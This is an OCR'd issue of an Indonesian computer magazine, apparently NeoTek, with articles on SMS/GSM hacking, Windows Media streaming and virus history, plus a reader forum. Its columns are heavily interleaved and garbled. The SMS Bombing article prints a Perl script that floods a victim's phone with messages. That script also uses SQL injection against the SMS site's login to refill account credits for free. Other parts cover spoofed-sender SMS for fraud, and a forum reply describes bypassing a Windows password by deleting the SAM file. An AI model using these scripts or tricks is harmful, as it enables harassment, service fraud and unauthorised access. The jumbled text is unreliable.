Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Rise of Nations
Expansion: Thrones and Patriots
Rise of Nations Expansion: Thrones and Patriots adalah ekspansi dari RTS game yang sudah
sukses sebelumnya: Rise of Nations. Dengan game ini anda bereksplorasi dalam sejarah selama
kurun waktu 6000 tahun, yang dalam waktu itu suatu bangsa membentuk angkatan bersenjata
yang tangguh, ekonomi yang kuat, serta menjalankan seni diplomasi yang tinggi.
Salam!
Rp20.000,- (P. Jawa)
Rp22.000,- (Luar P. Jawa)
N EOTE K
Dunia Teknologi Baru
Utak-atik Ponsel:
SMS dan GSM Hacking
Anatomi suatu serangan hacking
Footprinting
Scanning
Enumeration
Gaining Access
Escalating
• Anak-anak pun kini sudah mainan ponsel, terutama untuk meyakinkan orang tua
Privilege tertang keberadaan anaknya. Artinya anak-anak kini sudah melek teknologi sejak dini.
9 SMS Gratis Y!
Asalkan punya akses Internet,
pihak terkirim.
45 Photoshop: Efek
Line dengan Pattern
suatu modem dan pelajari bahasa
komunikasi modem yang universal ini
20 SMS Bombing
Kalau pada network hacking Melanjutkan bahasan Photoshop
lewat PC anda sendiri. ada Denial of Service, maka pada GSM dalam memberi efek pada foto anda.
ada SMS bombing!
12 SMS, PDU, AT Command
46 Efek Square dengan
Bagaimana hubungan antara
SMS, format teks dan PDU, serta AT 24 Mengenal SMS Center
Artikel pelengkap bahasan SMS
Fungsi Pattern
Fitur lain untuk diterapkan pada foto
command yang lazim pada modem? Hacking. Perlu apabila anda bermkinat
anda menggunakan Photoshop.
Inilah dasar dari SMS Hacking. belajar lebih lanjut.
Kunjungi www.sdnpuja2.net untuk melihat situs dari SD di Seperti inilah model kapal laut Titanic yang dibentuk secara ber-
Surabaya yang sudah mengikuti program pengayaan kurikulum kelompok oleh para siswa SD yang belajar ilmu kelautan
NmN
Neoteker menjawab Neoteker
Forum ini dimaksudkan sebagai bentuk offline dari mailing list
NeoTek di http://groups.yahoo.com/group/majalahneotek.
T: Posted April 29 4. Silakan coba masukkan perti di atas hapus file SAM J: Posted May 17
Gimana ya cara ngilangin vi- disket baru (jgn disket yg pada direktori config dan re- Sebaiknya anda gunakan ka-
rus di floppy, setiap mema- udah kena virus), cek dan start komputer. Semoga bel consul dari router terse-
sukkan disket yang baru lang- ricek apakah masih terjadi bermanfaat..... but, gunakan hyperterminal.
sung kena virus, dan virus- pembentukan file virusnya? Rezki Nah dari consul tersebut,
nya itu MY LOVE extention Odyxboy Rezki@e-solusi.com akan kelihatan yang mau di
word, tidak bisa di delete, se- odyxboy@yahoo.com conf itu apakah serial atau eth
tiap di del maka virus itu pasti T: Posted May 17 dari router tersebut.
T: Posted May 11 saya punya mainboard
kembali lagi, anti virus pc Jhon
cilin tidak menetek, gimana salam, apa ada cara untuk GFXcel vga onboardnya arly@speed.net.id
ya caranya? mengetahui password di terdetect sis 630\730 tapi
windows xp?? teman saya saat saya install drivernya T: Posted May 23
Gigik Nurbaskoro
kelupaan passwordnya, seka- ..layar tdk berubah masih Mohon bagi artikel dong,
combro45@yahoo.com
rang nggak bisa masuk win- tetap 16 color , rencana sa- Bisa bagi artikel yang lama-
J: Posted April 29 dows... :))) tolong dong kalo ya pengen mematikan vga lama untuk belajar sayakan
Ini virus lama, menjangkiti ada yang tau caranya.. onboardnya biar saya bisa baru, bisa dikirim ke
setiap disket yg dimasukkan makasih. pasang VGA PCI, sayang- emailku?
ke floppy, tetapi bisa juga Don Cavello nya manual booknya hilang Vico Cara
menjangkiti direktori C:\My m26400069@john.petra.ac.id entah kemana . ztudiz@yahoo.com.au
Documents. Virus ini akan Bagaimana cara mematikan-
membuat file yg pertama J: Posted May 11 nya ?? mohon sarannya J: Posted May 23
dengan nama "My Heart" DC> salam, dong ????? Artikel apa? Kalo mau artikel
di disket ketika dimasukkan DC> apa ada cara untuk me- Md
artikel lama di neotek, main-
ke floppy, file tersebut meng- ngetahui password di windows khumaidy@cbn.net.id
main dong ke neotek.co.id
gunakan icon "MS Word" xp?? teman disana kamu bisa dapetin se-
padahal sebenarnya itu DC> saya kelupaan password- J: Posted May 17 mua file pdf majalah neotek
bukan file "*.doc" dimana nya, sekarang nggak bisa ma- masuk ke bios---> cari set- edisi lengkap dari tahun per-
sesungguhnya file tersebut suk windows... tingan vga on board (biasa- tama hingga ke tiga. Serta be-
bekstensi "*.exe" DC> :))) nya di peripheral (or some- berapa artikel dari majalah-
Jika disket yg sama dimasuk- DC> tolong dong kalo ada thing sound like that!!) pi- majalah neotek edisi baru.
kan berulang-ulang, maka yang tau caranya.. lih disable. Trus cari option Kalo mau berlajar komputer
file tersebut akan berubah- DC> makasih. dimana check pertama untuk beneran, cari artikelnya (pdf
ubah namanya. Untuk me- Anda memakai system par- vga adalah PCI bukan AGP. juga, kamu butuh acrobat
ngatasinya (ini cara kuno se- tisi apa? NTFS atau FAT32? It's all about BIOS man..... reader buat bacanya) jalan-
moga membantu): Kalo make FAT32, boot kom- jalan ke ilmukomputer.com
Subiakto cakrawardaya (situs e-learnimg gratisan ter-
1. Bunuh (delete). Perhatikan puter anda dari FDD atau Subiyakto_C@yahoo.com
di direktory CDROM dengan boot 98 baik di indonesia, menurut
"C:\Windows\System" dan masuk ke T: Posted May 17 saya). Trus download deh se-
temukan file dengan nama C:\WINNT\system32\config Haloo Neoteker mau kamu, atau cari CDnya
"SysTask". Sesungguhnya nah didalam direktori config di distro terdekat dikota ka-
itu bukan file bawaan win- Saya masih baru dalam bi- mu, murah kok cuma goceng!
ada file dengan nama SAM. dang IT, jadi di perusahaan
dows, virus ini mencoba me- Hapus file tersebut (SAM), Artikel-artikel dari milis ini
nipu anda. File tersebut meng- saya telah membeli cisco (arsip/kumpulan imel lama)?
restart komputer anda dan router type 2600, namun
gunakan icon MS Word te- anda masuk ke windows se- Cari di yahoogroups.com, lo-
tapi sebenarnya berekstensi saya tidak bisa mengkonfi- gin, trus main ke seksi maja-
bagai administrator tanpa gurasi router tersebut mela-
*.exe password. Kalo anda meng- lahneoteknya trus baca-baca
lui PC yang lain. Tolong deh.
2. Jika ternyata tidak dapat gunakan system partisi bantuan, gimana caranya
di delete, restart komputer NTFS, boot komputer dengan Bukan artikel-artikel itu??? Ya
mengkoneksikan PC dengan cari-cari aja di google.com!
dengan opsi "Restart in MS CD win 2000 or winxp, pada Router dan menset IP Ad-
DOS Mode". di Dos, masuk saat boot dari CDROM dan yakinlah kalo kata kuncinya
dress serta modem dari benar, pasti ketemu!
ke direktori akhirnnya muncul pilihan router tsb?
C:\Windows\System pada menu utama pilih repair Terima kasih atas perhatiaanya langit_byru
kemudian ketik => del windows lalu ikuti langkah- langit_byru@telkom.net
nya sampai masuk ke c:\. Wahyu Ahadi R
systask.exe
Lakukan hal yang sama se- wahyu@pln-nad.co.id
3. Sampe disini, ketik => exit
Konfirmasi jika
just SMS dapat di reply
S M S DAN G S M HAC K I N G
Menguak Rahasia Ponsel
Penggunaan Handphone yang sudah sangat meluas membut anda perlu mengenal hal-hal apa
saja yang tersembunyi dibaliknya. Bung Ftp_Geo (FG@yahoo.com) membahasnya untuk
menambah wawasan anda terhadap dinamika dunia ponsel.
T COMMANDS DIGUNAKAN UNTUK MELAKUKAN KOMU- Mari kita coba melakukan koneksi ke ponsel melalui
A nikasi dengan modem. Standar AT commands
yang lazim digunakan adalah AT commands pada
komputer. Start > Programs > Accesories > Communications
> Hyper Terminal. Jika belum tersedia Hyper Terminal,
kom-patibel modem Hayes. Ponsel pada dasarnya adalah masukkan CD Windows dan tambahkan aplikasi Hyper
modem, sehingga AT command pun berlaku pada ponsel. Terminal ke Windows Anda. Buatlah koneksi baru dengan
AT commands untuk ponsel ditetapkan dengan adanya nama Hyper Terminal. Jika anda menghubungkan ponsel
standar GSM 07.07 dan GSM 07.05. ke port COM1 pada komputer dengan kabel data, pilihlah
Dengan menggunakan kabel data yang tersedia pada masing- port COM1. Jika menggunakan infra merah, pilihlah port
masing jenis dan merk ponsel, kita dapat 'berkomunikasi' COM yang paling akhir, biasanya COM6.
dengan ponsel melalui PC. Dengan utility built-in dari Buat koneksi baru dan
Windows yaitu Hyper Terminal kita sudah dapat mengo- pilih bit per second (bps)
rek informasi ponsel melalui sebuah kabel data ataupun yang sesuai dengan ponsel
melalui saluran komunikasi infra merah. Anda. Kebanyakan meng-
gunakan bps 19200.
Lalu kirimkan perintah at
untuk memeriksa koneksi.
Jika responnya OK, maka
koneksi berhasil dilaku-
kan.
PERINTAH FUNGSI
S M S DAN G S M HAC K I N G
SMS, PDU, dan AT Commands
Melanjutkan pengantar mengenai handphone, MA Rody Candera (odyxb@bogor.net)
membahas lebih rinci lagi mengenai format SMS serta AT commands yang biasa terdapat pada
modem. Handphone sekarang hampir semuanya merupakan suatu modem juga, bukan?
Tabel 10. SMS PDU Mode Penipuan yang dilakukan menggunakan handphone dapat
dimasukkan kedalam kategori Fake SMS. Penipuan ini
AT+CMGL List Messages makin meluas sekarang, berhati-hatilah!
AT+CMGR Read Message
AT+CMGS Send Message Pernah mendengar virus yang menyerang Nokia seri 33xx?
AT+CMGW Write Message to Memory Virus tersebut pertama kali ditemukan oleh ilmuwan
Belanda, dimana virus yang ciptakannya didasarkan bebe-
didapat dari memanfaatkan AT Commands pada hyper- rapa penelitian terhadap handphone Nokia seri 33xx yang
terminal, perhatikan Gambar 3. menghasilkan report mengenai bug yang terdapat pada
handphone tersebut.
Dalam perkembangan virus handphone mengalami kema-
juan yang menunjukkan hasil yang menakutkan karena
memiliki daya perusak yang hebat, dan kebanyakan virus
tersebut dibuat menggunakan VBScript.
Contoh virus handphone yang pernah menjadi bahan
perbincangan antara lainnya seperti Hoax dan Timofonica.
Virus tersebut dikirim kepada target sebagai pesan SMS
dan jika di terima bisa saja membuat anda terpaksa mema-
Gambar 3. sukkan pembelian handphone baru pengganti pada ang-
garan belanja anda. Tetapi, benarkah virus handphone itu
ada? Masih menjadi perbincangan antara pro dan kontra.
Nokia Codes
Nokia dengan mottonya Connecting People memiliki peng-
guna yang banyak untuk market di Indonesia hingga
dikenal sebagai handphone Sejuta Umat. Itu sebuah ejek-
an atau tidak, tapi terbukti Nokia menjadi pilihan ter-
banyak.
Disamping harganya terbilang cepat turun, juga sangat
mudah penggunaannya. Model yang dimiliki tidak ter-
tinggal dengan model handphone merek lainnya.
Setiap handphone memiliki kode-kode tersendiri, yang
akan disinggung disini hanya kode-kode yang terdapat
pada Nokia, itupun tidak seluruhnya. Pengetahuan akan
kode-kode tersebut penting diketahui karena kita dituntut
untuk mengenal dengan baik atas apa-apa yang miliki.
Untuk mengetahui lebih banyak mengenai kode-kode hand-
phone Nokia, kunjungi http://www.cellphonehacks.com.
S M S DAN G S M HAC K I N G
Mengenal Format Data SMS
Bung Ftp_Geo (FG@yahoo.com) melanjutkan pembahasan SMS dengan mengenali format-
format data yang digunakan dalam pengiriman pesan SMS. Pengenalan ini penting untuk
Hacking, yaitu diantaranya SMS Fake Sender dan Mencuri Data Ponsel melalui SMS.
S M S DAN G S M HAC K I N G
Mengirim SMS Fake Sender
Bung Ftp_Geo (FG@yahoo.com) kini masuk ke sisi gelap SMS, yaitu SMS Fake Sender yang
menjadi sarana yang paling populer untuk melakukan penipuan maupun fitnah. Namanya juga
SMS Kaleng, sama seperti surat kaleng ataupun email kaleng, perlu diwaspadai.
Walaupun nomor pengirim adalah nomor spesial seperti Aplikasi yang cukup sulit digunakan adalah SMSXtender
TELKOMSEL, PRO-XL, INDOSAT, biasanya pihak operator juga
akan mengumumkannya di media cetak nasional atau melalui
dari www.simeda.com karena membutuhkan handphone
media lain. Ada baiknya untuk menyimpan nomor telepon resmi atau PDA yang dilengkapi dengan Java.
operator jaringan anda.
S M S DAN G S M HAC K I N G
Jebol dengan SMS Bombing
Sisi gelap lain dari SMS yang dibahas Bung Ftp_Geo (FG@yahoo.com) adalah SMS Bombing,
yaitu mengirimkan SMS yang sama sebanyak-banyaknya ke ponsel korban menggunakan
account SMS serta suatu Perl script untuk mengotomatisasinya.
1: #!/usr/bin/perl -w
2: # .:: PRIVATE!! FOR LEET ONLY ::.
Skrip Kirim SMS email2sms.pl
3: # yepcell.pl SMS Bomber
Situs Russia http://email2sms.ru menyediakan juga fasi-
4: # by mas Geo
litas SMS gratis, walaupun tidak se-reliable Happy Texting.
5: #-EDIT-KONFIGURASI-DI-SINI!!
Namun yang menjadi tantangan dalam membuat skrip
6: $proxy = 'http://proxy.intra.djpkpd.go.id:3128/';
otomasinya adalah, adanya variabel dalam form yang se-
7: #buat login ke yepcell.com
lalu berubah, yaitu time dan sig (singkatan dari signature).
8: $username = 'usernamemu';
Jangan khawatir, dengan PERL dan LWP mari kita buat
9: $password = 'passwordmu';
skrip yang bisa membaca variable dari form HTML-nya.
10: $pesan = 'Test SMS Bomber!! 20 SMS saja. Lumayan pegel kan
ngapusnya..'; Berikut ini kode selengkapnya (nomor baris tidak
11: #---------------------------------------------------------------------------- termasuk bagian dari program):
12: use LWP::UserAgent;
1: #!/usr/bin/perl -w
13: use HTTP::Cookies; 2: # email2sms.pl
14: use Getopt::Std; 3: # by mas Geo
4: #-----------------EDIT-KONFIGURASI-DI-SINI!!------------------------=
15: getopts('t:b:d:v'); 5: #$proxy = 'http://proxy.intra.djpkpd.go.id:3128/';
16: our($opt_t, $opt_b, $opt_d, $opt_v); 6: $pesan = 'No day without new skripz.. =)';
17: $ua = LWP::UserAgent->new; 7: #-----------------------------------------------------------------------=
8:
18: $ua->agent("IE/6.0 Windows"); 9: use LWP::UserAgent;
19: $ua->cookie_jar(HTTP::Cookies->new(file => "SMS-Bomberz-cookies.txt", 10: use HTTP::Cookies;
autosave => 1)); 11: use HTTP::Status;
12: use HTTP::Response;
20: if($0 !~ 'yepcell.pl'){print "Skrip ini harus diberi nama yepcell.pl\n";exit;} 13: use Getopt::Std;
21: if(!$opt_t){print "Baca kode sebagai manual\nKalo blom bisa baca kode, 14: getopts('t:');
belum berhak menggunakan skrip ini\n";exit;}else{$korban = $opt_t;} 15: our($opt_t);
22: if(defined($opt_b)){$bom = $opt_b;}else{$bom = 10;} 16:
17: $ua = LWP::UserAgent->new;
23: if(defined($opt_d)){$delay = $opt_d;}else{$delay = 10;} 18: $ua->agent("MSIE/6.0 Windows");
24: if(defined($proxy)){$ua->proxy(http => $proxy);} else {$ua->env_proxy;} 19: $ua->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1));
25: #login 20:
21: #memeriksa konfigurasi dan options
26: $login = HTTP::Request->new(POST => 22: if(defined($proxy)){
'http://www.yepcell.com/members.asp'); 23: $ua->proxy(http => $proxy);
27: $login->content_type('application/x-www-form-urlencoded'); 24: } else {
25: $ua->env_proxy;
28: $loginsend = 'UserID='. $username.'&Password='.$password; 26: }
29: $login->content($loginsend); 27:
30: my $loginresponse = $ua->request($login); 28: if(defined($opt_b)){
29: $bom=$opt_b;
31: my $cek = $loginresponse->as_string; 30: } else {
32: if ($loginresponse->is_success && $cek =~ /LogOut/) {print "Login OK\n";} 31: $bom=10;
33: else {die "Error: Gagal Login\nMungkin salah password atau yecell sedang 32: }
down\n" . $loginresponse->status_line . "\n";} 33:
34: if(defined($opt_d)){
34: #send sms 35: $delay=$opt_d;
35: $try=1; 36: } else {
37: $delay=20;
36: print "Kirim SMS ke $korban sebanyak $bom kali.\n"; 38: }
37: print "Happy Bombing!!\n\n"; 39:
38: for($i=1;$i<=$bom;$i++){ 40: if($0 !~ 'email2sms.pl'){
41: print "Skrip ini harus diberi nama email2sms.pl\n";
39: if($opt_v){print "Kirim SMS #$try .....";} 42: exit;
40: $send_sms = HTTP::Request->new(POST => 43: }
'http://www.yepcell.com/xt_sendsms.asp?vt=Normal'); 44:
45: if(!$opt_t){
41: $send_sms->content_type('application/x-www-form-urlencoded');
46: print "Baca kode sebagai manual\nKalo blom bisa baca kode, belum
42: $sms = $0.' sends you: '.$pesan; berhak menggunakan skrip ini\n";
43: $sms =~ s/ /%20/g; 47: exit;
48: }
44: $message = 'MobileNo='.$korban.'&message='.$sms.'&remLen=0&ID= '; 49: print "Membaca konfigurasi hari ini:\n";
45: $send_sms->content($message); 50: $index = HTTP::Request->new(GET => 'http:// email2sms.ru');
46: my $response_send_sms = $ua->request($send_sms); 51: #'http://email2sms.ru/');
52: $index->header('Accept' => 'text/html');
47: my $cek = $response_send_sms->as_string; 53: $ua->cookie_jar->add_cookie_header($index);
48: #cek pulsa 54: $indexresponse = $ua->request($index);
55: my $indexcek = $indexresponse->as_string;
49: if($cek =~ /Account Balance: 0 Credits/){
56: $indexcek =~ m/time value\=\"\d+\"/;
50: #isi pulsa 57: $time = substr($&, 12, 10);
51: my $isipulsa = HTTP::Request->new(POST => 58: $indexcek =~ m/sig value\=\"\w+\"/;
'http://www.yepcell.com/members.asp'); 59: $sig = substr($&, 11, 32);
60:
52: $isipulsa->content_type('application/x-www-form-urlencoded'); 61: print "Variable time: $time\n";
53: $isipulsasend = 62: print "Variable sig: $sig\n";
'UserID=%27update%20YepCell_MembersDB%20set%20credits=100%20w 63:
here%20userid%20=%27'.$username.'%27--&Password=abcdefgh'; 64: $tujuan = $opt_t;
54: #'update YepCell_MembersDB set credits=100 where userid 65: #send sms
='dodol'-- 66: print "\nKirim SMS ke $tujuan ......";
67:
55: $isipulsa->content($isipulsasend); 68: $send_sms = HTTP::Request->new(POST=>'http://email2sms.ru/sms.php');
56: my $isipulsaresponse = $ua->request($isipulsa); 69: $send_sms->content_type('application/x-www-form-urlencoded');
70: $isisms = $0.' sends you: '.$pesan;
57: }
71: $message = 'time='.$time.'sig='.$sig.'&iphone='.$tujuan.'&text='.$isisms.'
58: sleep($delay);if($opt_v){print "..... OK!\n";} &len=0&rus=0';
59: $try++; 72: $send_sms->content($message);my $response_send_sms = $ua-
>request($send_sms);
60: } 73: my $cek = $response_send_sms->as_string;
61: #--EOF- 74: if($response_send_sms->is_success){
S M S DAN G S M HAC K I N G
Mengenal SMS Center
Untuk melengkapi bahasan SMS dan GSM Hacking kali ini, Eko Febriyanto (eko.f@indosat-
m3.com) membahas SMS Center yang merupakan fasilitas penting untuk mengoperasikan
pengiriman SMS secara ‘normal’ maupun ‘abnormal.’
SMS CENTER, SEBAIKNYA pesan akan segera dikirim. SMSC menerima verifikasi
S EBELUM KITA MEMBAHAS
kita pelajari dulu apa sih SMS itu? SMS (Short
Message Service) adalah sebuah layanan pengi-
kalau pesan tersebut sudah diterima oleh nomor yang
dituju dan mengkategorikan pesan tersebut sebagai
riman pesan singkat dari dan ke telepon seluler, mesin fax, sebuah pesan "terkirim" dan tidak akan melakukan
dan atau sebuah IP address. percobaan pengiriman pesan lagi.
Layanan ini disebut sebagai layanan pesan singkat karena Prinsip dasarnya adalah bahwa hanya ada satu Short
memang lebar karakter dalam pesan ini hanya sebanyak Message Service Center yang menerjemahkan pesan
160 karakter alfanumerik dan tidak berisi gambar atau untuk dikirimkan pada sebuah jaringan GSM.
grafik. Suatu provider telepon seluler pasti menyediakan Kesulitan yang mendasar dalam membangun sebuah
layanan ini sebagai salah satu layanan utama provider layanan berbasis SMS adalah karena beragamnya proto-
tersebut. kol yang digunakan untuk terhubung pada sebuah SMSC.
SMS didukung oleh GSM, TDMA, dan CDMA yang ber- ETSI (European Telecommunication Standards Institute)
basis pada telepon seluler yang saat ini banyak digunakan. telah mengakui bahwa di dunia digunakan empat macam
Karena layanan berbasis SMS telah digunakan selama protokol yang berbeda untuk terhubung ke suatu SMSC,
bertahun-tahun, maka penetrasi telepon seluler dan user artinya bahwa sebuah SMSC harus memiliki satu dari
yang menggunakan layanan ini sudah sangat banyak, keempat protokol yang telah ditentukan ETSI tersebut.
yang membuat layanan berbasis SMS menjadi sebuah
layanan yang menarik. Protokol tersebut adalah SMPP oleh Logica, CIMD oleh
Nokia, UCP/EMI oleh CMG, dan SMS2000 oleh SEMA.
Sekarang ini otomatisasi dalam layanan ini dimanfaatkan Semua protokol ini mempunyai fungsi yang berbeda satu
untuk berkomunikasi secara singkat pada para konsumen sama lain dan juga mempunyai konversi karakter yang
suatu perusahaan. Contohnya adalah layanan pesan antar jauh berbeda satu sama lain. Dukungan terhadap semua
yang menggunakan SMS, ataupun layanan informasi protokol ini merupakan keharusan bagi sebuah provider
yang secara otomatis me-reply pada para pelanggan. SMS. Ada beberapa SMS Gateway yang dapat terhubung
Oleh karena itu para provider telekomunikasi seluler pun pada beberapa atau bahkan semua protokol tersebut.
saling bersaing dalam membuat content pada layanan
berbasis SMS-nya yang membuatnya semakin menarik
bagi para konsumen. Pengiriman SMS dari web berbayar
dan gratis pun telah banyak meraih keuntungan. Gambar 1.
Koneksi SMSC
SMS Center terhadap MSC, HLR
Sekali sebuah pesan dikirim, pesan tersebut akan diterima yang dilakukan
dahulu oleh SMS Center (SMSC) yang kemudian harus melalui Signal
Transfer Point (STP).
disampaikan pada nomor tujuan. Untuk melakukan ini,
SMSC mengirimkan sebuah sms request ke Home Loca- SMS dapat dikirimkan dan diterima bersamaan dengan
tion Register (H
HLR) untuk menemukan pelanggan tujuan. voice, data, dan fax. Ini dimungkinkan karena voice, data
Saat HLR menerima pesan tersebut maka, HLR akan dan fax menggunakan channel yang berbeda dengan
merespon ke SMSC dengan status pelanggan berupa: SMS. Oleh karena itu pengguna SMS jarang atau tidak
1. inactive atau active pernah mendapatkan signal sibuk pada saat jaringan voice
2. letak pelanggan yang dimaksud (pelanggan tujuan/ sedang sibuk, kecuali memang SMS Center tersebut
destination number). memang sibuk. Berbeda kondisinya apabila jaringan
sedang sibuk.
Jika responsnya inactive maka SMSC akan meng-hold
pesan tersebut sampai pada periode tertentu. Saat pelang- Oleh karena itu persyaratan untuk dapat menggunakan
gan tersebut menyalakan handsetnya maka akan terjadi SMS sangatlah mudah, diantaranya adalah:
update location pada HLR, dan HLR akan mengirimkan 1. Berlangganan pada sebuah provider jaringan seluler
status terhadap pesan yang belum terkirim pada SMSC, 2. Sebuah handset yang mendukung SMS.
kemudian SMSC segera mengirimkan pesan yang belum 3. Layanan SMS harus di-enabled pada sisi provider seluler
terkirim tersebut pada pelanggan yang dituju. terhadap pelanggan tersebut
SMSC mentransfer pesan dalam format Point to Point 4. Pengetahuan tentang bagaimana menulis dan mengirimkan
pada sistem yang melayani. Sistem pertama-tama mecoba sebuah SMS.
melihat status nomor pelanggan tersebut, jika aktif maka 5. Tujuan SMS.
R AD I O DAN T V I NTE R N ET
Windows Media Server
Sebagai pembanding terhadap Darwin Streaming Server yang dibahas di NeoTek IV/07,
Fitrianto Halim (fitriantoh@hotmail.com) akan mengulas Windows Media Server yang dapat
digunakan untuk video streaming server, baik live (broadcast) serta on demand.
MEDIA SERVER UMUMNYA DISERTAKAN PADA Untuk mengkonfigurasi Windows Media Unicast Service,
W
INDOWS
operating system dari Microsoft yang diperuntuk- pada Configure Server klik link Unicast Publishing Points.
kan untuk server, misalkan pada MS Windows
2000 server. Ada empat buah service yang berkaitan
dengan Windows Media server, yaitu:
• Windows Media Monitor Service
• Windows Media Program Service
• Windows Media Station Service
• Windows Media Unicast Service
Pada artikel ini, penulis hanya akan mengulas Windows
Media Unicast Service, karena kemampuannya sudah men-
cukupi untuk membuat video streaming server, baik broad-
cast maupun on demand.
Oleh karena itu, perhatikan statusnya haruslah Started, baik
untuk Startup Type dengan nilai Automatic ataupun Manual. Gambar 4. Unicast Publishing Points
Untuk mengubah path default \ASFRoot caranya cukup Broadcast Publishing Point
mudah, yaitu klik kanan alias yang bersangkutan, maka Setelah on demand, kini
akan muncul menu pop-up dengan dua pilihan, yaitu: kita beralih untuk men-
Properties... dan Delete. Untuk coba broadcast
keperluan kita, tentunya kita pilih Klik tombol Broadcast, lalu pada menu pop-up pilih New...
Properties...
Bagian penting dalam konfigurasi adalah memilih sumber
On-Demand Publishing Point Specify source). Penulis menggunakan sumber Windows
(S
Media
Encoder.
Bagian pen-
ting lain-
nya adalah
pembuatan
broadcast
publishing
point.
Perhatikan
untuk input
Path: dan
Port: harus
disesuaikan
dengan kon-
disi video
broadcast
Windows
Media
Encoder.
Untuk membuat Penulis
on-demand pub- mengguna-
lishing point baru, kan
caranya klik tom- Windows
bol On-Demand, Media
lalu pada menu Encoder
pop-up pilih New... versi 9
untuk Win-
Langkah-langkah dows 2000
selanjutnya bisa dan XP (bi-
anda lihat pada sa anda per-
Gambar 7-10. oleh pada
Bila pernah CD NeoTek
mengkonfigur- Vol. IV/02).
asi web server, Secara ga-
maka publish- ris besar,
ing point dapat cara mem-
diibaratkan buat video
sebagai virtual broadcast-
directory. nya hampir
sama de-
ngan Win-
dows Media
Encoder se-
belumnya
(versi 7.1).
Namun pe-
nulis mem-
berikan
langkah-
langkah-
nya.
Gambar 7, 8, 9, 10.
Mengkonfigurasi
on-demand pub- Gambar 11, 12, 13, 14. Specify Source dari Windows Media Encoder
lishing point baru
• Pada tab Wizards di New Session, pilih Broadcast a live • Pada tab Sources, untuk Source from: pilih File lalu klik
event. Browse... untuk memilih file yang digunakan.
R AD I O DAN T V I NTE R N ET
Windows Media Encoder
Sebagai pembanding terhadap Darwin Streaming Server dibahas pula Windows Media
Encoder yang merupakan software video broadcast gratis dari Microsoft.
INDOWS MEDIA ENCODER DAPAT DIKATAKAN SUATU
W utility yang menarik dari Microsoft, karena dapat
digunakan untuk keperluan broadcast, capture dan
konversi. Pada artikel ini, penulis akan menguraikan
bagaimana cara mem-broadcast video dengan Windows
Media Encoder 7.1, dengan operating system yang
digunakan Windows 98.
• Jalankan Windows Media Encoder, pilih Broadcast, capture,
or convert a file using the New Session Wizard, klik OK
• Pada Broadcast Connection, isi HTTP port: dengan port
yang anda inginkan. Jika tidak mengetahui port mana
yang free, klik tombol Find Free Port (atau, dari DOS
prompt ketikksn netstat -a untuk mengetahui port apa
saja yang sedang digunakan). Selanjutnya, klik Next >
• Kita akan mendapat tampilan utama • Pada tab Sources and Archive,
Windows Media Encoder. untuk Video: pilih Browse for file...
VI R U S DAN WO R M
Onel de Guzman, I Love You, Barok
Belajar virus dari sejarahnya, itulah yang dibawakan oleh Happy Candraleka
(cakrabirawa@mail.ru). Ternyata ‘orang biasa’ bisa menjadi ancaman karena tidak pahamnya
masyarakat bahkan para akademisi terhadap budaya kreatif.
EORANG PEMIMPIN PERNAH MENEKANKAN PENTING- Perlu diketahui bahwa pada saat itu biaya akses Internet
S nya mempelajari sejarah. Dari mempelajari seja-
rah banyak diperoleh pelajaran-pelajaran yang
di Filipina tergolong tinggi dan dihitung per jam. Satu
jam akses dihargai sekitar 100 Peso atau setara dengan 2
bermanfaat. Prinsip yang dipegang oleh para arkeolog ini sampai 3 US Dollar. Kalikan saja dengan 8.300 untuk
akan kita coba terapkan dalam dunia digital. mendapatkan besaran dalam Rupiah. Walhasil, untuk
Dalam kaitannya dengan mempelajari sejarah, pada arti- berlama-lama mengakses Internet di sana hanyalah milik
kel ini akan penulis ungkap sesuatu hal yang menggem- orang-orang borjuis saja.
parkan dunia komputer beberapa tahun yang silam, yang Inilah yang kemudian bermuara pada dibuatnya I Love
dibuat oleh seorang mahasiswa muda usia. Yang menarik, You dan juga trojan Barok yang dapat Anda simak selan-
ini semua dibuat oleh seorang anak dari negara tetangga jutnya di artikel ini.
yang sama-sama negara berkembang dengan Indonesia,
yaitu Filipina. Bermula dari Sebuah Thesis
Artikel yang sedang Anda baca ini merupakan kupas tun- Seperti pada umumnya mahasiswa, mereka juga diharus-
tas yang mencoba untuk menjelaskan tentang anak muda kan membuat suatu proyek sebagai bagian dari tugas per-
yang bernama Onel de Guzman, I Love You, dan Barok. kuliahan dan juga sebagai tugas akhir untuk kelulusan-
nya. Tidak terkecuali Onel de Guzman.
Tentu saja dengan benang merah diantara ketiganya. Nama
yang pertama dan kedua yang penulis sebut di atas bisa Sebagai seorang mahasiswa, anak muda ini, yang cerdas
jadi telah anda dengar. Tetapi nama yang ketiga penulis dalam pemrograman, juga mengajukan proposal thesis.
kira anda belum mendengarnya. Ada apa dibalik nama Judul yang diajukan ke para dosennya adalah Email Pass -
ketiga dan ketiga nama tersebut? Untuk itulah artikel ini word Sender Trojan. Dari judulnya saja anda bisa berkata
ditulis. bahwa ini adalah sebuah judul yang dapat membuat 'bulu
kuduk seseorang berdiri.' Cukup seram untuk sebuah
Onel de Guzman judul thesis. Dengan ruang lingkup yang dibahas adalah
Gambar 1. 'software product' alias pembuatan program.
Onel de Guzman Email Password Sender Trojan dalam thesis Onel de Guzman
dari Filipina
merupakan sebuah trojan sederhana yang dapat mengirim-
kan password-password seseorang ke email account yang
telah ditentukan.
Password yang dikirimkan adalah password screen saver,
web, RAS (Remote Access Server); termasuk cache
password.
Onel de Guzman dalam thesisnya berpendapat bahwa pro-
gram yang dia buat akan bermanfaat bagi orang banyak
Sebelumnya ia adalah seorang yang biasa saja dalam dunia untuk mendapatkan password Windows. Misalnya untuk
komputer, seperti juga orang-orang lain yang intens dalam mendapatkan Internet Account seseorang sehingga dapat
dunia ini. Tidak banyak yang mengenal. Namanya men- ber-Internet ria tanpa perlu membayar. Ongkos akses In-
cuat tatkala ia disebut-sebut sebagai pembuat worm yang ternet dibebankan kepada pemilik account sesungguhnya.
merupakan kambing hitam terhadap kerugian besar di Bagaimana menurut Anda ide ini? Suatu kesenangan di
bumi. Onel de Guzman hanyalah seorang mahasiswa dari atas penderitaan orang lain.
AMA Computer College di kota Makati, Filipina. Sean-
dainya dia tidak tersangkut masalah ini, tentu dia dapat Proposal yang diajukan Onel de Guzman kandas. Kampus-
lulus dari College-nya secara terhormat. nya menolak usulan proposal thesis tersebut dan meng-
anggapnya melanggar etika. Thesis Onel de Guzman se-
Anak muda ini merupakan salah seorang anggota dari lengkapnya dapat anda baca di
sebuah kelompok komputer yang bernama Grammersoft. http://www.computerbytesman.com/lovebug/thesis.htm
